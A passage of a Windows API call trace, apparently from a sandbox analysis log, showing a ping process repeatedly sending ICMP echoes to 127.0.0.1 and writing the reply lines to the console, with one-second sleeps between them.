[0109.331] CharToOemBuffA (in: lpszSrc="Reply from 127.0.0.1: ", lpszDst=0x29ef28, cchDstLength=0x16 | out: lpszDst="Reply from 127.0.0.1: ") returned 1 [0109.331] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0109.331] _write (in: _FileHandle=1, _Buf=0x29ef28*, _MaxCharCount=0x16 | out: _Buf=0x29ef28*) returned 22 [0109.332] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0109.332] LocalFree (hMem=0x29ef28) returned 0x0 [0109.332] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="Ø\x92*") returned 0x9 [0109.332] CharToOemBuffA (in: lpszSrc="bytes=32 ", lpszDst=0x2a92d8, cchDstLength=0x9 | out: lpszDst="bytes=32 ") returned 1 [0109.332] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0109.332] _write (in: _FileHandle=1, _Buf=0x2a92d8*, _MaxCharCount=0x9 | out: _Buf=0x2a92d8*) returned 9 [0109.332] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0109.332] LocalFree (hMem=0x2a92d8) returned 0x0 [0109.332] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2727, dwLanguageId=0x0, lpBuffer=0x10f314, nSize=0x0, Arguments=0x10f310 | out: lpBuffer="Ø\x92*") returned 0x9 [0109.332] CharToOemBuffA (in: lpszSrc="time<1ms ", lpszDst=0x2a92d8, cchDstLength=0x9 | out: lpszDst="time<1ms ") returned 1 [0109.333] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0109.333] _write (in: _FileHandle=1, _Buf=0x2a92d8*, _MaxCharCount=0x9 | out: _Buf=0x2a92d8*) returned 9 [0109.333] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0109.333] LocalFree (hMem=0x2a92d8) returned 0x0 [0109.333] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="Ø\x92*") returned 0x9 [0109.333] CharToOemBuffA (in: lpszSrc="TTL=128\r\n", lpszDst=0x2a92d8, cchDstLength=0x9 | out: lpszDst="TTL=128\r\n") returned 1 [0109.333] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0109.333] _write (in: _FileHandle=1, _Buf=0x2a92d8*, _MaxCharCount=0x9 | out: _Buf=0x2a92d8*) returned 9 [0109.333] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0109.333] LocalFree (hMem=0x2a92d8) returned 0x0 [0109.333] Sleep (dwMilliseconds=0x3e8) [0110.358] IcmpSendEcho2Ex (in: IcmpHandle=0x29c160, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0x2ae468, RequestSize=0x20, RequestOptions=0x10f338, ReplyBuffer=0x2b0308, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0x2b0308) returned 0x1 [0110.513] inet_ntoa (in=0x100007f) returned="127.0.0.1" [0110.513] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="Hð)") returned 0x16 [0110.513] CharToOemBuffA (in: lpszSrc="Reply from 127.0.0.1: ", lpszDst=0x29f048, cchDstLength=0x16 | out: lpszDst="Reply from 127.0.0.1: ") returned 1 [0110.513] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0110.513] _write (in: _FileHandle=1, _Buf=0x29f048*, _MaxCharCount=0x16 | out: _Buf=0x29f048*) returned 22 [0110.513] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0110.513] LocalFree (hMem=0x29f048) returned 0x0 [0110.513] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="x\x92*") returned 0x9 [0110.513] CharToOemBuffA (in: lpszSrc="bytes=32 ", lpszDst=0x2a9278, cchDstLength=0x9 | out: lpszDst="bytes=32 ") returned 1 [0110.513] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0110.513] _write (in: _FileHandle=1, _Buf=0x2a9278*, _MaxCharCount=0x9 | out: _Buf=0x2a9278*) returned 9 [0110.514] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0110.514] LocalFree (hMem=0x2a9278) returned 0x0 [0110.514] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2727, dwLanguageId=0x0, lpBuffer=0x10f314, nSize=0x0, Arguments=0x10f310 | out: lpBuffer="x\x92*") returned 0x9 [0110.514] CharToOemBuffA (in: lpszSrc="time<1ms ", lpszDst=0x2a9278, cchDstLength=0x9 | out: lpszDst="time<1ms ") returned 1 [0110.514] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0110.514] _write (in: _FileHandle=1, _Buf=0x2a9278*, _MaxCharCount=0x9 | out: _Buf=0x2a9278*) returned 9 [0110.514] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0110.514] LocalFree (hMem=0x2a9278) returned 0x0 [0110.514] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="x\x92*") returned 0x9 [0110.514] CharToOemBuffA (in: lpszSrc="TTL=128\r\n", lpszDst=0x2a9278, cchDstLength=0x9 | out: lpszDst="TTL=128\r\n") returned 1 [0110.514] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0110.514] _write (in: _FileHandle=1, _Buf=0x2a9278*, _MaxCharCount=0x9 | out: _Buf=0x2a9278*) returned 9 [0110.514] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0110.514] LocalFree (hMem=0x2a9278) returned 0x0 [0110.514] Sleep (dwMilliseconds=0x3e8) [0111.532] IcmpSendEcho2Ex (in: IcmpHandle=0x29c160, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0x2ae468, RequestSize=0x20, RequestOptions=0x10f338, ReplyBuffer=0x2b0308, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0x2b0308) returned 0x1 [0111.596] inet_ntoa (in=0x100007f) returned="127.0.0.1" [0111.597] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="(ò)") returned 0x16 [0111.597] CharToOemBuffA (in: lpszSrc="Reply from 127.0.0.1: ", lpszDst=0x29f228, cchDstLength=0x16 | out: lpszDst="Reply from 127.0.0.1: ") returned 1 [0111.597] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0111.597] _write (in: _FileHandle=1, _Buf=0x29f228*, _MaxCharCount=0x16 | out: _Buf=0x29f228*) returned 22 [0111.597] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0111.597] LocalFree (hMem=0x29f228) returned 0x0 [0111.597] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="èÉ,") returned 0x9 [0111.597] CharToOemBuffA (in: lpszSrc="bytes=32 ", lpszDst=0x2cc9e8, cchDstLength=0x9 | out: lpszDst="bytes=32 ") returned 1 [0111.597] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0111.597] _write (in: _FileHandle=1, _Buf=0x2cc9e8*, _MaxCharCount=0x9 | out: _Buf=0x2cc9e8*) returned 9 [0111.597] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0111.597] LocalFree (hMem=0x2cc9e8) returned 0x0 [0111.597] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2727, dwLanguageId=0x0, lpBuffer=0x10f314, nSize=0x0, Arguments=0x10f310 | out: lpBuffer="èÉ,") returned 0x9 [0111.597] CharToOemBuffA (in: lpszSrc="time<1ms ", lpszDst=0x2cc9e8, cchDstLength=0x9 | out: lpszDst="time<1ms ") returned 1 [0111.597] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0111.597] _write (in: _FileHandle=1, _Buf=0x2cc9e8*, _MaxCharCount=0x9 | out: _Buf=0x2cc9e8*) returned 9 [0111.598] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0111.598] LocalFree (hMem=0x2cc9e8) returned 0x0 [0111.598] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="èÉ,") returned 0x9 [0111.598] CharToOemBuffA (in: lpszSrc="TTL=128\r\n", lpszDst=0x2cc9e8, cchDstLength=0x9 | out: lpszDst="TTL=128\r\n") returned 1 [0111.598] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0111.598] _write (in: _FileHandle=1, _Buf=0x2cc9e8*, _MaxCharCount=0x9 | out: _Buf=0x2cc9e8*) returned 9 [0111.598] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0111.598] LocalFree (hMem=0x2cc9e8) returned 0x0 [0111.598] Sleep (dwMilliseconds=0x3e8) [0112.641] IcmpSendEcho2Ex (in: IcmpHandle=0x29c160, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0x2ae468, RequestSize=0x20, RequestOptions=0x10f338, ReplyBuffer=0x2b0308, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0x2b0308) returned 0x1 [0112.694] inet_ntoa (in=0x100007f) returned="127.0.0.1" [0112.694] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="(ò)") returned 0x16 [0112.694] CharToOemBuffA (in: lpszSrc="Reply from 127.0.0.1: ", lpszDst=0x29f228, cchDstLength=0x16 | out: lpszDst="Reply from 127.0.0.1: ") returned 1 [0112.694] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0112.694] _write (in: _FileHandle=1, _Buf=0x29f228*, _MaxCharCount=0x16 | out: _Buf=0x29f228*) returned 22 [0112.694] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0112.694] LocalFree (hMem=0x29f228) returned 0x0 [0112.694] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="èÉ,") returned 0x9 [0112.694] CharToOemBuffA (in: lpszSrc="bytes=32 ", lpszDst=0x2cc9e8, cchDstLength=0x9 | out: lpszDst="bytes=32 ") returned 1 [0112.694] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0112.694] _write (in: _FileHandle=1, _Buf=0x2cc9e8*, _MaxCharCount=0x9 | out: _Buf=0x2cc9e8*) returned 9 [0112.695] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0112.695] LocalFree (hMem=0x2cc9e8) returned 0x0 [0112.695] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2727, dwLanguageId=0x0, lpBuffer=0x10f314, nSize=0x0, Arguments=0x10f310 | out: lpBuffer="èÉ,") returned 0x9 [0112.695] CharToOemBuffA (in: lpszSrc="time<1ms ", lpszDst=0x2cc9e8, cchDstLength=0x9 | out: lpszDst="time<1ms ") returned 1 [0112.695] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0112.695] _write (in: _FileHandle=1, _Buf=0x2cc9e8*, _MaxCharCount=0x9 | out: _Buf=0x2cc9e8*) returned 9 [0112.695] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0112.695] LocalFree (hMem=0x2cc9e8) returned 0x0 [0112.695] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="èÉ,") returned 0x9 [0112.695] CharToOemBuffA (in: lpszSrc="TTL=128\r\n", lpszDst=0x2cc9e8, cchDstLength=0x9 | out: lpszDst="TTL=128\r\n") returned 1 [0112.695] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0112.695] _write (in: _FileHandle=1, _Buf=0x2cc9e8*, _MaxCharCount=0x9 | out: _Buf=0x2cc9e8*) returned 9 [0112.695] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0112.695] LocalFree (hMem=0x2cc9e8) returned 0x0 [0112.695] Sleep (dwMilliseconds=0x3e8) [0113.705] IcmpSendEcho2Ex (in: IcmpHandle=0x29c160, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0x2ae468, RequestSize=0x20, RequestOptions=0x10f338, ReplyBuffer=0x2b0308, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0x2b0308) returned 0x1 [0113.813] inet_ntoa (in=0x100007f) returned="127.0.0.1" [0113.813] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="(ò)") returned 0x16 [0113.813] CharToOemBuffA (in: lpszSrc="Reply from 127.0.0.1: ", lpszDst=0x29f228, cchDstLength=0x16 | out: lpszDst="Reply from 127.0.0.1: ") returned 1 [0113.813] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0113.813] _write (in: _FileHandle=1, _Buf=0x29f228*, _MaxCharCount=0x16 | out: _Buf=0x29f228*) returned 22 [0113.814] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0113.814] LocalFree (hMem=0x29f228) returned 0x0 [0113.814] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="èÉ,") returned 0x9 [0113.814] CharToOemBuffA (in: lpszSrc="bytes=32 ", lpszDst=0x2cc9e8, cchDstLength=0x9 | out: lpszDst="bytes=32 ") returned 1 [0113.814] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0113.814] _write (in: _FileHandle=1, _Buf=0x2cc9e8*, _MaxCharCount=0x9 | out: _Buf=0x2cc9e8*) returned 9 [0113.814] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0113.814] LocalFree (hMem=0x2cc9e8) returned 0x0 [0113.814] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2727, dwLanguageId=0x0, lpBuffer=0x10f314, nSize=0x0, Arguments=0x10f310 | out: lpBuffer="èÉ,") returned 0x9 [0113.814] CharToOemBuffA (in: lpszSrc="time<1ms ", lpszDst=0x2cc9e8, cchDstLength=0x9 | out: lpszDst="time<1ms ") returned 1 [0113.814] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0113.814] _write (in: _FileHandle=1, _Buf=0x2cc9e8*, _MaxCharCount=0x9 | out: _Buf=0x2cc9e8*) returned 9 [0113.814] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0113.814] LocalFree (hMem=0x2cc9e8) returned 0x0 [0113.814] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="èÉ,") returned 0x9 [0113.814] CharToOemBuffA (in: lpszSrc="TTL=128\r\n", lpszDst=0x2cc9e8, cchDstLength=0x9 | out: lpszDst="TTL=128\r\n") returned 1 [0113.814] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0113.814] _write (in: _FileHandle=1, _Buf=0x2cc9e8*, _MaxCharCount=0x9 | out: _Buf=0x2cc9e8*) returned 9 [0113.815] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0113.815] LocalFree (hMem=0x2cc9e8) returned 0x0 [0113.815] Sleep (dwMilliseconds=0x3e8) [0114.886] IcmpSendEcho2Ex (in: IcmpHandle=0x29c160, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0x2ae468, RequestSize=0x20, RequestOptions=0x10f338, ReplyBuffer=0x2b0308, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0x2b0308) returned 0x1 [0114.909] inet_ntoa (in=0x100007f) returned="127.0.0.1" [0114.909] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="(ò)") returned 0x16 [0114.909] CharToOemBuffA (in: lpszSrc="Reply from 127.0.0.1: ", lpszDst=0x29f228, cchDstLength=0x16 | out: lpszDst="Reply from 127.0.0.1: ") returned 1 [0114.909] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0114.909] _write (in: _FileHandle=1, _Buf=0x29f228*, _MaxCharCount=0x16 | out: _Buf=0x29f228*) returned 22 [0114.909] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0114.909] LocalFree (hMem=0x29f228) returned 0x0 [0114.909] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="èÉ,") returned 0x9 [0114.909] CharToOemBuffA (in: lpszSrc="bytes=32 ", lpszDst=0x2cc9e8, cchDstLength=0x9 | out: lpszDst="bytes=32 ") returned 1 [0114.909] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0114.909] _write (in: _FileHandle=1, _Buf=0x2cc9e8*, _MaxCharCount=0x9 | out: _Buf=0x2cc9e8*) returned 9 [0114.909] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0114.909] LocalFree (hMem=0x2cc9e8) returned 0x0 [0114.910] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2727, dwLanguageId=0x0, lpBuffer=0x10f314, nSize=0x0, Arguments=0x10f310 | out: lpBuffer="èÉ,") returned 0x9 [0114.910] CharToOemBuffA (in: lpszSrc="time<1ms ", lpszDst=0x2cc9e8, cchDstLength=0x9 | out: lpszDst="time<1ms ") returned 1 [0114.910] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0114.910] _write (in: _FileHandle=1, _Buf=0x2cc9e8*, _MaxCharCount=0x9 | out: _Buf=0x2cc9e8*) returned 9 [0114.910] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0114.910] LocalFree (hMem=0x2cc9e8) returned 0x0 [0114.910] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="èÉ,") returned 0x9 [0114.910] CharToOemBuffA (in: lpszSrc="TTL=128\r\n", lpszDst=0x2cc9e8, cchDstLength=0x9 | out: lpszDst="TTL=128\r\n") returned 1 [0114.910] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0114.910] _write (in: _FileHandle=1, _Buf=0x2cc9e8*, _MaxCharCount=0x9 | out: _Buf=0x2cc9e8*) returned 9 [0114.910] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0114.910] LocalFree (hMem=0x2cc9e8) returned 0x0 [0114.910] Sleep (dwMilliseconds=0x3e8) [0115.963] IcmpSendEcho2Ex (in: IcmpHandle=0x29c160, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0x2ae468, RequestSize=0x20, RequestOptions=0x10f338, ReplyBuffer=0x2b0308, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0x2b0308) returned 0x1 [0115.964] inet_ntoa (in=0x100007f) returned="127.0.0.1" [0115.964] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="\x10\x88.") returned 0x16 [0115.964] CharToOemBuffA (in: lpszSrc="Reply from 127.0.0.1: ", lpszDst=0x2e8810, cchDstLength=0x16 | out: lpszDst="Reply from 127.0.0.1: ") returned 1 [0115.964] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0115.964] _write (in: _FileHandle=1, _Buf=0x2e8810*, _MaxCharCount=0x16 | out: _Buf=0x2e8810*) returned 22 [0115.964] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0115.964] LocalFree (hMem=0x2e8810) returned 0x0 [0115.965] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="\x90c+") returned 0x9 [0115.965] CharToOemBuffA (in: lpszSrc="bytes=32 ", lpszDst=0x2b6390, cchDstLength=0x9 | out: lpszDst="bytes=32 ") returned 1 [0115.965] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0115.965] _write (in: _FileHandle=1, _Buf=0x2b6390*, _MaxCharCount=0x9 | out: _Buf=0x2b6390*) returned 9 [0115.965] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0115.965] LocalFree (hMem=0x2b6390) returned 0x0 [0115.965] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2727, dwLanguageId=0x0, lpBuffer=0x10f314, nSize=0x0, Arguments=0x10f310 | out: lpBuffer="\x90c+") returned 0x9 [0115.965] CharToOemBuffA (in: lpszSrc="time<1ms ", lpszDst=0x2b6390, cchDstLength=0x9 | out: lpszDst="time<1ms ") returned 1 [0115.965] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0115.965] _write (in: _FileHandle=1, _Buf=0x2b6390*, _MaxCharCount=0x9 | out: _Buf=0x2b6390*) returned 9 [0115.965] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0115.965] LocalFree (hMem=0x2b6390) returned 0x0 [0115.965] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="\x90c+") returned 0x9 [0115.965] CharToOemBuffA (in: lpszSrc="TTL=128\r\n", lpszDst=0x2b6390, cchDstLength=0x9 | out: lpszDst="TTL=128\r\n") returned 1 [0115.965] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0115.965] _write (in: _FileHandle=1, _Buf=0x2b6390*, _MaxCharCount=0x9 | out: _Buf=0x2b6390*) returned 9 [0115.965] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0115.965] LocalFree (hMem=0x2b6390) returned 0x0 [0115.965] Sleep (dwMilliseconds=0x3e8) [0116.976] IcmpSendEcho2Ex (in: IcmpHandle=0x29c160, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0x2ae468, RequestSize=0x20, RequestOptions=0x10f338, ReplyBuffer=0x2b0308, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0x2b0308) returned 0x1 [0117.333] inet_ntoa (in=0x100007f) returned="127.0.0.1" [0117.333] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="Hõ)") returned 0x16 [0117.333] CharToOemBuffA (in: lpszSrc="Reply from 127.0.0.1: ", lpszDst=0x29f548, cchDstLength=0x16 | out: lpszDst="Reply from 127.0.0.1: ") returned 1 [0117.333] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0117.333] _write (in: _FileHandle=1, _Buf=0x29f548*, _MaxCharCount=0x16 | out: _Buf=0x29f548*) returned 22 [0117.334] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0117.334] LocalFree (hMem=0x29f548) returned 0x0 [0117.334] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="\x10}.") returned 0x9 [0117.334] CharToOemBuffA (in: lpszSrc="bytes=32 ", lpszDst=0x2e7d10, cchDstLength=0x9 | out: lpszDst="bytes=32 ") returned 1 [0117.334] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0117.334] _write (in: _FileHandle=1, _Buf=0x2e7d10*, _MaxCharCount=0x9 | out: _Buf=0x2e7d10*) returned 9 [0117.334] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0117.334] LocalFree (hMem=0x2e7d10) returned 0x0 [0117.334] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2727, dwLanguageId=0x0, lpBuffer=0x10f314, nSize=0x0, Arguments=0x10f310 | out: lpBuffer="\x10}.") returned 0x9 [0117.334] CharToOemBuffA (in: lpszSrc="time<1ms ", lpszDst=0x2e7d10, cchDstLength=0x9 | out: lpszDst="time<1ms ") returned 1 [0117.334] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0117.334] _write (in: _FileHandle=1, _Buf=0x2e7d10*, _MaxCharCount=0x9 | out: _Buf=0x2e7d10*) returned 9 [0117.334] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0117.334] LocalFree (hMem=0x2e7d10) returned 0x0 [0117.334] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="\x10}.") returned 0x9 [0117.334] CharToOemBuffA (in: lpszSrc="TTL=128\r\n", lpszDst=0x2e7d10, cchDstLength=0x9 | out: lpszDst="TTL=128\r\n") returned 1 [0117.334] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0117.334] _write (in: _FileHandle=1, _Buf=0x2e7d10*, _MaxCharCount=0x9 | out: _Buf=0x2e7d10*) returned 9 [0117.334] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0117.334] LocalFree (hMem=0x2e7d10) returned 0x0 [0117.334] Sleep (dwMilliseconds=0x3e8) [0118.333] IcmpSendEcho2Ex (in: IcmpHandle=0x29c160, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0x2ae468, RequestSize=0x20, RequestOptions=0x10f338, ReplyBuffer=0x2b0308, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0x2b0308) returned 0x1 [0118.350] inet_ntoa (in=0x100007f) returned="127.0.0.1" [0118.350] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="Hõ)") returned 0x16 [0118.350] CharToOemBuffA (in: lpszSrc="Reply from 127.0.0.1: ", lpszDst=0x29f548, cchDstLength=0x16 | out: lpszDst="Reply from 127.0.0.1: ") returned 1 [0118.350] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0118.350] _write (in: _FileHandle=1, _Buf=0x29f548*, _MaxCharCount=0x16 | out: _Buf=0x29f548*) returned 22 [0118.350] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0118.350] LocalFree (hMem=0x29f548) returned 0x0 [0118.350] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="\x10}.") returned 0x9 [0118.350] CharToOemBuffA (in: lpszSrc="bytes=32 ", lpszDst=0x2e7d10, cchDstLength=0x9 | out: lpszDst="bytes=32 ") returned 1 [0118.350] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0118.350] _write (in: _FileHandle=1, _Buf=0x2e7d10*, _MaxCharCount=0x9 | out: _Buf=0x2e7d10*) returned 9 [0118.350] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0118.350] LocalFree (hMem=0x2e7d10) returned 0x0 [0118.350] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2727, dwLanguageId=0x0, lpBuffer=0x10f314, nSize=0x0, Arguments=0x10f310 | out: lpBuffer="\x10}.") returned 0x9 [0118.350] CharToOemBuffA (in: lpszSrc="time<1ms ", lpszDst=0x2e7d10, cchDstLength=0x9 | out: lpszDst="time<1ms ") returned 1 [0118.350] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0118.350] _write (in: _FileHandle=1, _Buf=0x2e7d10*, _MaxCharCount=0x9 | out: _Buf=0x2e7d10*) returned 9 [0118.350] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0118.351] LocalFree (hMem=0x2e7d10) returned 0x0 [0118.351] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="\x10}.") returned 0x9 [0118.351] CharToOemBuffA (in: lpszSrc="TTL=128\r\n", lpszDst=0x2e7d10, cchDstLength=0x9 | out: lpszDst="TTL=128\r\n") returned 1 [0118.351] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0118.351] _write (in: _FileHandle=1, _Buf=0x2e7d10*, _MaxCharCount=0x9 | out: _Buf=0x2e7d10*) returned 9 [0118.351] _setmode (_FileHandle=1, _Mode=16384) returned 32768 